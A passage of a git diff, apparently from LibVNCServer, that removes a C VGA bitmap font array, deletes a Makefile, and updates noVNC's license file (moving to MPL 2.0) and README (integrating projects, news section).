-0xff,0xff,0xff,0xff,0xff,0xc3,0x99,0xbd,0xbd,0x99,0xc3,0xff,0xff,0xff,0xff,0xff, /* 10 */
-0x1e,0x06,0x0e,0x1a,0x78,0xcc,0xcc,0xcc,0xcc,0x78, /* 11 */
-0x78,0xcc,0xcc,0xcc,0xcc,0x78,0x30,0xfc,0x30,0x30, /* 12 */
-0x3f,0x33,0x3f,0x30,0x30,0x30,0x30,0x70,0xf0,0xe0, /* 13 */
-0x7f,0x63,0x7f,0x63,0x63,0x63,0x63,0x67,0xe7,0xe6,0xc0, /* 14 */
-0x18,0x18,0xdb,0x3c,0xe7,0x3c,0xdb,0x18,0x18, /* 15 */
-0x80,0xc0,0xe0,0xf0,0xf8,0xfe,0xf8,0xf0,0xe0,0xc0,0x80, /* 16 */
-0x02,0x06,0x0e,0x1e,0x3e,0xfe,0x3e,0x1e,0x0e,0x06,0x02, /* 17 */
-0x30,0x78,0xfc,0x30,0x30,0x30,0xfc,0x78,0x30, /* 18 */
-0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x00,0xcc,0xcc, /* 19 */
-0x7f,0xdb,0xdb,0xdb,0x7b,0x1b,0x1b,0x1b,0x1b,0x1b, /* 20 */
-0x7c,0xc6,0x60,0x38,0x6c,0xc6,0xc6,0x6c,0x38,0x0c,0xc6,0x7c, /* 21 */
-0xfe,0xfe,0xfe,0xfe, /* 22 */
-0x30,0x78,0xfc,0x30,0x30,0x30,0xfc,0x78,0x30,0xfc, /* 23 */
-0x30,0x78,0xfc,0x30,0x30,0x30,0x30,0x30,0x30,0x30, /* 24 */
-0x30,0x30,0x30,0x30,0x30,0x30,0x30,0xfc,0x78,0x30, /* 25 */
-0x18,0x0c,0xfe,0x0c,0x18, /* 26 */
-0x30,0x60,0xfe,0x60,0x30, /* 27 */
-0xc0,0xc0,0xc0,0xfe, /* 28 */
-0x28,0x6c,0xfe,0x6c,0x28, /* 29 */
-0x10,0x38,0x38,0x7c,0x7c,0xfe,0xfe, /* 30 */
-0xfe,0xfe,0x7c,0x7c,0x38,0x38,0x10, /* 31 */
- /* 32 */
-0x60,0xf0,0xf0,0xf0,0x60,0x60,0x60,0x00,0x60,0x60, /* 33 */
-0xcc,0xcc,0xcc,0x48, /* 34 */
-0x6c,0x6c,0xfe,0x6c,0x6c,0x6c,0xfe,0x6c,0x6c, /* 35 */
-0x18,0x18,0x7c,0xc6,0xc2,0xc0,0x7c,0x06,0x06,0x86,0xc6,0x7c,0x18,0x18, /* 36 */
-0xc2,0xc6,0x0c,0x18,0x30,0x60,0xc6,0x86, /* 37 */
-0x38,0x6c,0x6c,0x38,0x76,0xdc,0xcc,0xcc,0xcc,0x76, /* 38 */
-0x60,0x60,0x60,0xc0, /* 39 */
-0x30,0x60,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x60,0x30, /* 40 */
-0xc0,0x60,0x30,0x30,0x30,0x30,0x30,0x30,0x60,0xc0, /* 41 */
-0x66,0x3c,0xff,0x3c,0x66, /* 42 */
-0x30,0x30,0xfc,0x30,0x30, /* 43 */
-0x60,0x60,0x60,0xc0, /* 44 */
-0xfe, /* 45 */
-0xc0,0xc0, /* 46 */
-0x02,0x06,0x0c,0x18,0x30,0x60,0xc0,0x80, /* 47 */
-0x38,0x6c,0xc6,0xc6,0xd6,0xd6,0xc6,0xc6,0x6c,0x38, /* 48 */
-0x30,0x70,0xf0,0x30,0x30,0x30,0x30,0x30,0x30,0xfc, /* 49 */
-0x7c,0xc6,0x06,0x0c,0x18,0x30,0x60,0xc0,0xc6,0xfe, /* 50 */
-0x7c,0xc6,0x06,0x06,0x3c,0x06,0x06,0x06,0xc6,0x7c, /* 51 */
-0x0c,0x1c,0x3c,0x6c,0xcc,0xfe,0x0c,0x0c,0x0c,0x1e, /* 52 */
-0xfe,0xc0,0xc0,0xc0,0xfc,0x06,0x06,0x06,0xc6,0x7c, /* 53 */
-0x38,0x60,0xc0,0xc0,0xfc,0xc6,0xc6,0xc6,0xc6,0x7c, /* 54 */
-0xfe,0xc6,0x06,0x06,0x0c,0x18,0x30,0x30,0x30,0x30, /* 55 */
-0x7c,0xc6,0xc6,0xc6,0x7c,0xc6,0xc6,0xc6,0xc6,0x7c, /* 56 */
-0x7c,0xc6,0xc6,0xc6,0x7e,0x06,0x06,0x06,0x0c,0x78, /* 57 */
-0xc0,0xc0,0x00,0x00,0x00,0xc0,0xc0, /* 58 */
-0x60,0x60,0x00,0x00,0x00,0x60,0x60,0xc0, /* 59 */
-0x0c,0x18,0x30,0x60,0xc0,0x60,0x30,0x18,0x0c, /* 60 */
-0xfc,0x00,0x00,0xfc, /* 61 */
-0xc0,0x60,0x30,0x18,0x0c,0x18,0x30,0x60,0xc0, /* 62 */
-0x7c,0xc6,0xc6,0x0c,0x18,0x18,0x18,0x00,0x18,0x18, /* 63 */
-0x7c,0xc6,0xc6,0xde,0xde,0xde,0xdc,0xc0,0x7c, /* 64 */
-0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6, /* 65 */
-0xfc,0x66,0x66,0x66,0x7c,0x66,0x66,0x66,0x66,0xfc, /* 66 */
-0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc0,0xc2,0x66,0x3c, /* 67 */
-0xf8,0x6c,0x66,0x66,0x66,0x66,0x66,0x66,0x6c,0xf8, /* 68 */
-0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x62,0x66,0xfe, /* 69 */
-0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x60,0x60,0xf0, /* 70 */
-0x3c,0x66,0xc2,0xc0,0xc0,0xde,0xc6,0xc6,0x66,0x3a, /* 71 */
-0xc6,0xc6,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0xc6, /* 72 */
-0xf0,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0xf0, /* 73 */
-0x1e,0x0c,0x0c,0x0c,0x0c,0x0c,0xcc,0xcc,0xcc,0x78, /* 74 */
-0xe6,0x66,0x66,0x6c,0x78,0x78,0x6c,0x66,0x66,0xe6, /* 75 */
-0xf0,0x60,0x60,0x60,0x60,0x60,0x60,0x62,0x66,0xfe, /* 76 */
-0xc6,0xee,0xfe,0xfe,0xd6,0xc6,0xc6,0xc6,0xc6,0xc6, /* 77 */
-0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0xc6, /* 78 */
-0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 79 */
-0xfc,0x66,0x66,0x66,0x7c,0x60,0x60,0x60,0x60,0xf0, /* 80 */
-0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xd6,0xde,0x7c,0x0c,0x0e, /* 81 */
-0xfc,0x66,0x66,0x66,0x7c,0x6c,0x66,0x66,0x66,0xe6, /* 82 */
-0x7c,0xc6,0xc6,0x60,0x38,0x0c,0x06,0xc6,0xc6,0x7c, /* 83 */
-0xfc,0xfc,0xb4,0x30,0x30,0x30,0x30,0x30,0x30,0x78, /* 84 */
-0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 85 */
-0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x6c,0x38,0x10, /* 86 */
-0xc6,0xc6,0xc6,0xc6,0xd6,0xd6,0xd6,0xfe,0xee,0x6c, /* 87 */
-0xc6,0xc6,0x6c,0x7c,0x38,0x38,0x7c,0x6c,0xc6,0xc6, /* 88 */
-0xcc,0xcc,0xcc,0xcc,0x78,0x30,0x30,0x30,0x30,0x78, /* 89 */
-0xfe,0xc6,0x86,0x0c,0x18,0x30,0x60,0xc2,0xc6,0xfe, /* 90 */
-0xf0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xf0, /* 91 */
-0x80,0xc0,0xe0,0x70,0x38,0x1c,0x0e,0x06,0x02, /* 92 */
-0xf0,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0xf0, /* 93 */
-0x10,0x38,0x6c,0xc6, /* 94 */
-0xff, /* 95 */
-0xc0,0xc0,0x60, /* 96 */
-0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 97 */
-0xe0,0x60,0x60,0x78,0x6c,0x66,0x66,0x66,0x66,0x7c, /* 98 */
-0x7c,0xc6,0xc0,0xc0,0xc0,0xc6,0x7c, /* 99 */
-0x1c,0x0c,0x0c,0x3c,0x6c,0xcc,0xcc,0xcc,0xcc,0x76, /* 100 */
-0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c, /* 101 */
-0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xf0, /* 102 */
-0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0xcc,0x78, /* 103 */
-0xe0,0x60,0x60,0x6c,0x76,0x66,0x66,0x66,0x66,0xe6, /* 104 */
-0x60,0x60,0x00,0xe0,0x60,0x60,0x60,0x60,0x60,0xf0, /* 105 */
-0x0c,0x0c,0x00,0x1c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0xcc,0xcc,0x78, /* 106 */
-0xe0,0x60,0x60,0x66,0x6c,0x78,0x78,0x6c,0x66,0xe6, /* 107 */
-0xe0,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0x60,0xf0, /* 108 */
-0xec,0xfe,0xd6,0xd6,0xd6,0xd6,0xc6, /* 109 */
-0xdc,0x66,0x66,0x66,0x66,0x66,0x66, /* 110 */
-0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 111 */
-0xdc,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xf0, /* 112 */
-0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0x0c,0x1e, /* 113 */
-0xdc,0x76,0x66,0x60,0x60,0x60,0xf0, /* 114 */
-0x7c,0xc6,0x60,0x38,0x0c,0xc6,0x7c, /* 115 */
-0x10,0x30,0x30,0xfc,0x30,0x30,0x30,0x30,0x36,0x1c, /* 116 */
-0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76, /* 117 */
-0xcc,0xcc,0xcc,0xcc,0xcc,0x78,0x30, /* 118 */
-0xc6,0xc6,0xd6,0xd6,0xd6,0xfe,0x6c, /* 119 */
-0xc6,0x6c,0x38,0x38,0x38,0x6c,0xc6, /* 120 */
-0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0xf8, /* 121 */
-0xfe,0xcc,0x18,0x30,0x60,0xc6,0xfe, /* 122 */
-0x1c,0x30,0x30,0x30,0xe0,0x30,0x30,0x30,0x30,0x1c, /* 123 */
-0xc0,0xc0,0xc0,0xc0,0x00,0xc0,0xc0,0xc0,0xc0,0xc0, /* 124 */
-0xe0,0x30,0x30,0x30,0x1c,0x30,0x30,0x30,0x30,0xe0, /* 125 */
-0x76,0xdc, /* 126 */
-0x10,0x38,0x6c,0xc6,0xc6,0xc6,0xfe, /* 127 */
-0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x0c,0x06,0x7c, /* 128 */
-0xcc,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76, /* 129 */
-0x0c,0x18,0x30,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c, /* 130 */
-0x10,0x38,0x6c,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 131 */
-0xcc,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 132 */
-0x60,0x30,0x18,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 133 */
-0x38,0x6c,0x38,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 134 */
-0x78,0xcc,0xc0,0xc0,0xcc,0x78,0x18,0x0c,0x78, /* 135 */
-0x10,0x38,0x6c,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c, /* 136 */
-0xc6,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c, /* 137 */
-0x60,0x30,0x18,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c, /* 138 */
-0xcc,0x00,0x00,0x70,0x30,0x30,0x30,0x30,0x30,0x78, /* 139 */
-0x30,0x78,0xcc,0x00,0x70,0x30,0x30,0x30,0x30,0x30,0x78, /* 140 */
-0xc0,0x60,0x30,0x00,0x70,0x30,0x30,0x30,0x30,0x30,0x78, /* 141 */
-0xc6,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6, /* 142 */
-0x38,0x6c,0x38,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6, /* 143 */
-0x18,0x30,0x60,0x00,0xfe,0x66,0x60,0x7c,0x60,0x60,0x66,0xfe, /* 144 */
-0xcc,0x76,0x36,0x7e,0xd8,0xd8,0x6e, /* 145 */
-0x3e,0x6c,0xcc,0xcc,0xfe,0xcc,0xcc,0xcc,0xcc,0xce, /* 146 */
-0x10,0x38,0x6c,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 147 */
-0xc6,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 148 */
-0x60,0x30,0x18,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 149 */
-0x30,0x78,0xcc,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76, /* 150 */
-0x60,0x30,0x18,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76, /* 151 */
-0xc6,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0x78, /* 152 */
-0xc6,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 153 */
-0xc6,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 154 */
-0x30,0x30,0x78,0xcc,0xc0,0xc0,0xc0,0xcc,0x78,0x30,0x30, /* 155 */
-0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xe6,0xfc, /* 156 */
-0xcc,0xcc,0x78,0x30,0xfc,0x30,0xfc,0x30,0x30,0x30, /* 157 */
-0xf8,0xcc,0xcc,0xf8,0xc4,0xcc,0xde,0xcc,0xcc,0xcc,0xc6, /* 158 */
-0x0e,0x1b,0x18,0x18,0x18,0x7e,0x18,0x18,0x18,0x18,0x18,0xd8,0x70, /* 159 */
-0x18,0x30,0x60,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76, /* 160 */
-0x30,0x60,0xc0,0x00,0xe0,0x60,0x60,0x60,0x60,0x60,0xf0, /* 161 */
-0x18,0x30,0x60,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c, /* 162 */
-0x18,0x30,0x60,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76, /* 163 */
-0x76,0xdc,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66, /* 164 */
-0x76,0xdc,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6, /* 165 */
-0x78,0xd8,0xd8,0x7c,0x00,0xfc, /* 166 */
-0x70,0xd8,0xd8,0x70,0x00,0xf8, /* 167 */
-0x30,0x30,0x00,0x30,0x30,0x60,0xc0,0xc6,0xc6,0x7c, /* 168 */
-0xfe,0xc0,0xc0,0xc0,0xc0, /* 169 */
-0xfe,0x06,0x06,0x06,0x06, /* 170 */
-0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x60,0xdc,0x86,0x0c,0x18,0x3e, /* 171 */
-0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x66,0xce,0x9e,0x3e,0x06,0x06, /* 172 */
-0x60,0x60,0x00,0x60,0x60,0x60,0xf0,0xf0,0xf0,0x60, /* 173 */
-0x36,0x6c,0xd8,0x6c,0x36, /* 174 */
-0xd8,0x6c,0x36,0x6c,0xd8, /* 175 */
-0x22,0x88,0x22,0x88,0x22,0x88,0x22,0x88,0x22,0x88,0x22,0x88,0x22,0x88,0x22,0x88, /* 176 */
-0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa, /* 177 */
-0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77, /* 178 */
-0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 179 */
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 180 */
-0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 181 */
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 182 */
-0xfe,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 183 */
-0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 184 */
-0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 185 */
-0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8, /* 186 */
-0xfe,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 187 */
-0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xfe, /* 188 */
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xfe, /* 189 */
-0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8, /* 190 */
-0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 191 */
-0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xf8, /* 192 */
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff, /* 193 */
-0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 194 */
-0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xf8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 195 */
-0xff, /* 196 */
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 197 */
-0xc0,0xc0,0xc0,0xc0,0xc0,0xf8,0xc0,0xf8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 198 */
-0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xdc,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8, /* 199 */
-0xd8,0xd8,0xd8,0xd8,0xd8,0xdc,0xc0,0xfc, /* 200 */
-0xfc,0xc0,0xdc,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8, /* 201 */
-0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xff, /* 202 */
-0xff,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 203 */
-0xd8,0xd8,0xd8,0xd8,0xd8,0xdc,0xc0,0xdc,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8, /* 204 */
-0xff,0x00,0xff, /* 205 */
-0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 206 */
-0x18,0x18,0x18,0x18,0x18,0xff,0x00,0xff, /* 207 */
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff, /* 208 */
-0xff,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 209 */
-0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 210 */
-0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xfc, /* 211 */
-0xc0,0xc0,0xc0,0xc0,0xc0,0xf8,0xc0,0xf8, /* 212 */
-0xf8,0xc0,0xf8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 213 */
-0xfc,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8,0xd8, /* 214 */
-0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, /* 215 */
-0x18,0x18,0x18,0x18,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, /* 216 */
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8, /* 217 */
-0xf8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 218 */
-0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, /* 219 */
-0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, /* 220 */
-0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0, /* 221 */
-0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0, /* 222 */
-0xff,0xff,0xff,0xff,0xff,0xff,0xff, /* 223 */
-0x76,0xdc,0xd8,0xd8,0xd8,0xdc,0x76, /* 224 */
-0x78,0xcc,0xcc,0xcc,0xd8,0xcc,0xc6,0xc6,0xc6,0xcc, /* 225 */
-0xfe,0xc6,0xc6,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 226 */
-0xfe,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c, /* 227 */
-0xfe,0xc6,0x60,0x30,0x18,0x30,0x60,0xc6,0xfe, /* 228 */
-0x7e,0xd8,0xd8,0xd8,0xd8,0xd8,0x70, /* 229 */
-0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xc0, /* 230 */
-0x76,0xdc,0x18,0x18,0x18,0x18,0x18,0x18, /* 231 */
-0xfc,0x30,0x78,0xcc,0xcc,0xcc,0x78,0x30,0xfc, /* 232 */
-0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0x6c,0x38, /* 233 */
-0x38,0x6c,0xc6,0xc6,0xc6,0x6c,0x6c,0x6c,0x6c,0xee, /* 234 */
-0x3c,0x60,0x30,0x18,0x7c,0xcc,0xcc,0xcc,0xcc,0x78, /* 235 */
-0x7e,0xdb,0xdb,0xdb,0x7e, /* 236 */
-0x03,0x06,0x7e,0xdb,0xdb,0xf3,0x7e,0x60,0xc0, /* 237 */
-0x38,0x60,0xc0,0xc0,0xf8,0xc0,0xc0,0xc0,0x60,0x38, /* 238 */
-0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6, /* 239 */
-0xfe,0x00,0x00,0xfe,0x00,0x00,0xfe, /* 240 */
-0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0xff, /* 241 */
-0x60,0x30,0x18,0x0c,0x18,0x30,0x60,0x00,0xfc, /* 242 */
-0x18,0x30,0x60,0xc0,0x60,0x30,0x18,0x00,0xfc, /* 243 */
-0x70,0xd8,0xd8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, /* 244 */
-0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xd8,0xd8,0xd8,0x70, /* 245 */
-0x30,0x30,0x00,0xfc,0x00,0x30,0x30, /* 246 */
-0x76,0xdc,0x00,0x76,0xdc, /* 247 */
-0x70,0xd8,0xd8,0x70, /* 248 */
-0xc0,0xc0, /* 249 */
-0xc0, /* 250 */
-0x0f,0x0c,0x0c,0x0c,0x0c,0x0c,0xec,0x6c,0x6c,0x3c,0x1c, /* 251 */
-0xd8,0x6c,0x6c,0x6c,0x6c,0x6c, /* 252 */
-0x70,0xd8,0x30,0x60,0xc8,0xf8, /* 253 */
-0xf8,0xf8,0xf8,0xf8,0xf8,0xf8,0xf8, /* 254 */
- /* 255 */
-};
-int vgaFontMetaData[256*5]={
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diff --git a/webclients/Makefile b/webclients/Makefile
deleted file mode 100644
index 84da94f..0000000
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diff --git a/webclients/novnc/LICENSE.txt b/webclients/novnc/LICENSE.txt
index 6a1131b..2d09408 100644
--- a/webclients/novnc/LICENSE.txt
+++ b/webclients/novnc/LICENSE.txt
@@ -1,22 +1,35 @@
noVNC is Copyright (C) 2011 Joel Martin <github@martintribe.org>
-Some portions of noVNC are copyright to their individual authors.
-Please refer to the individual source files and/or to the noVNC commit
-history: https://github.com/kanaka/noVNC/commits/master
+The noVNC core library files are licensed under the MPL 2.0 (Mozilla
+Public License 2.0). The noVNC core library is composed of the
+Javascript code necessary for full noVNC operation. This includes (but
+is not limited to):
-noVNC is licensed under the LGPL (GNU Lesser General Public License)
-version 3 with the following exceptions (all LGPL-3 compatible):
+ include/base64.js
+ include/des.js
+ include/display.js
+ include/input.js
+ include/jsunzip.js
+ include/keysym.js
+ include/logo.js
+ include/rfb.js
+ include/ui.js
+ include/util.js
+ include/vnc.js
+ include/websock.js
+ include/webutil.js
- include/input.js : LGPL-2 or any later version
-
- include/base64.js : Dual GPL-2 or LGPL-2.1
-
- include/des.js : Various BSD style licenses
+The HTML, CSS, font and images files that included with the noVNC
+source distibution (or repository) are not considered part of the
+noVNC core library and are licensed under more permissive licenses.
+The intent is to allow easy integration of noVNC into existing web
+sites and web applications.
- include/jsunzip.js : zlib/libpng license
+The HTML, CSS, font and image files are licensed as follows:
- include/web-socket-js/ : New BSD license. Source code at
- http://github.com/gimite/web-socket-js
+ *.html : 2-Clause BSD license
+
+ include/*.css : 2-Clause BSD license
include/Orbitron* : SIL Open Font License 1.1
(Copyright 2009 Matt McInerney)
@@ -24,12 +37,46 @@
images/ : Creative Commons Attribution-ShareAlike
http://creativecommons.org/licenses/by-sa/3.0/
-The license texts are included at:
+Some portions of noVNC are copyright to their individual authors.
+Please refer to the individual source files and/or to the noVNC commit
+history: https://github.com/kanaka/noVNC/commits/master
+
+The are several files and projects that have been incorporated into
+the noVNC core library. Here is a list of those files and the original
+licenses (all MPL 2.0 compatible):
+
+ include/base64.js : MPL 2.0
+
+ include/des.js : Various BSD style licenses
+
+ include/jsunzip.js : zlib/libpng license
+
+ include/web-socket-js/ : New BSD license (3-clause). Source code at
+ http://github.com/gimite/web-socket-js
+
+ include/chrome-app/tcp-stream.js
+ : Apache 2.0 license
+
+ utils/websockify
+ utils/websocket.py : LGPL 3
+
+The following license texts are included:
+
+ docs/LICENSE.MPL-2.0
docs/LICENSE.LGPL-3 and
docs/LICENSE.GPL-3
docs/LICENSE.OFL-1.1
+ docs/LICENSE.BSD-3-Clause (New BSD)
+ docs/LICENSE.BSD-2-Clause (Simplified BSD / FreeBSD)
+ docs/LICENSE.zlib
+ docs/LICENSE.Apache-2.0
Or alternatively the license texts may be found here:
+
+ http://www.mozilla.org/MPL/2.0/
http://www.gnu.org/licenses/lgpl.html and
http://www.gnu.org/licenses/gpl.html
http://scripts.sil.org/OFL
+ http://en.wikipedia.org/wiki/BSD_licenses
+ http://www.gzip.org/zlib/zlib_license.html
+ http://www.apache.org/licenses/LICENSE-2.0.html
diff --git a/webclients/novnc/README.md b/webclients/novnc/README.md
index 887c96c..b5679cd 100644
--- a/webclients/novnc/README.md
+++ b/webclients/novnc/README.md
@@ -1,16 +1,45 @@
## noVNC: HTML5 VNC Client
+[](https://travis-ci.org/kanaka/noVNC)
### Description
noVNC is a HTML5 VNC client that runs well in any modern browser
including mobile browsers (iPhone/iPad and Android).
-Notable commits, announcements and news are posted to
-@<a href="http://www.twitter.com/noVNC">noVNC</a>
+Many companies/projects have integrated noVNC including [Ganeti Web
+Manager](http://code.osuosl.org/projects/ganeti-webmgr),
+[OpenStack](http://www.openstack.org),
+[OpenNebula](http://opennebula.org/), and
+[LibVNCServer](http://libvncserver.sourceforge.net). See [the Projects
+and Companies wiki
+page](https://github.com/kanaka/noVNC/wiki/ProjectsCompanies-using-noVNC)
+for a more complete list with additional info and links.
-There are many companies/projects that have integrated noVNC into
-their products including: [Ganeti Web Manager](http://code.osuosl.org/projects/ganeti-webmgr), [Archipel](http://archipelproject.org), [openQRM](http://www.openqrm.com/), [OpenNode](http://www.opennodecloud.com/), [OpenStack](http://www.openstack.org), [Broadway (HTML5 GDK/GTK+ backend)](http://blogs.gnome.org/alexl/2011/03/15/gtk-html-backend-update/), [OpenNebula](http://opennebula.org/), [CloudSigma](http://www.cloudsigma.com/), [Zentyal (formerly eBox)](http://www.zentyal.org/), [SlapOS](http://www.slapos.org), [Intel MeshCentral](https://meshcentral.com), [Amahi](http://amahi.org), [Brightbox](http://brightbox.com/), [Foreman](http://theforeman.org) and [LibVNCServer](http://libvncserver.sourceforge.net). See [this wiki page](https://github.com/kanaka/noVNC/wiki/ProjectsCompanies-using-noVNC) for more info and links.
+### News/help/contact
+
+Notable commits, announcements and news are posted to
+<a href="http://www.twitter.com/noVNC">@noVNC</a>
+
+If you are a noVNC developer/integrator/user (or want to be) please
+join the <a
